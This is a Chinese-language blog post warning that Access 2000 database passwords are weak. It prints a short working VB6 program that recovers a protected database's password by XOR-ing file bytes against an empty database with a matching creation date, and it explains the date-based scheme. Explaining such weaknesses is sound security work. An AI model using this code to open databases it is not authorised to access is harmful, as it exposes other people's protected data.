如果你過分信任 Access 2000資料庫的密碼保護,你可能會因此而蒙受損失。這是因為Access 2000的資料庫級密碼並不安全,相反它很脆弱,甚至下面這段非常小的程式就可以攻破它:
程式一(VB6):Access 2000密碼破譯
Private Sub Command1_Click()
Const Offset = &H43 檔偏移位址:Access資料庫從此處開始存放加密密碼
Dim bEmpty(1 To 2) As Byte, bPass(1 To 2) As Byte
Dim i As Integer, Password As String
打開一個空資料庫作為參照
Open "D:VB6_TestMDB_PasswordNew_Empty_DB.mdb" For Binary As #1
打開被密碼保護的資料庫
Open "D:VB6_TestMDB_PasswordPass_Protected_DB.mdb" For Binary As #2
Seek #1, Offset
Seek #2, Offset
For i = 1 To 20 ' Access 2000 資料庫密碼最長允許20位
Get #1, , bEmpty ' 其中每位密碼占兩個位元組
Get #2, , bPass ' 一個漢字也僅是一位密碼,占兩個位元組
If (bEmpty(1) Xor bPass(1)) <> 0 Then
Password = Password + Chr(bEmpty(1) Xor bPass(1)) ' 將密碼解密
End If
Next
Close 1, 2
MsgBox "Password:" + Password ' 顯示密碼
End Sub

 

一、深入分析
上述程式成功的關鍵是使用了一個空資料庫(New_Empty_DB.mdb)。該資料庫的創建日期必須與被密碼保護的資料庫(Pass_Protected_DB.mdb)相一致。 換句話說,Access 2000 僅僅是使用「資料庫創建日期」來加密使用者密碼。
應注意的是:上面的「創建日期」只是作業系統級的,也就是 Windows記錄在資料夾目錄裡的資訊(根據檔案名的長短,每個檔在目錄裡佔用至少32個位元組,包括:檔案名、屬性、檔案大小、首蔟號、創建時間、修改時間和存取時間等)。
創作者介紹
創作者 shadow 的頭像
shadow

資訊園

shadow 發表在 痞客邦 留言(0) 人氣()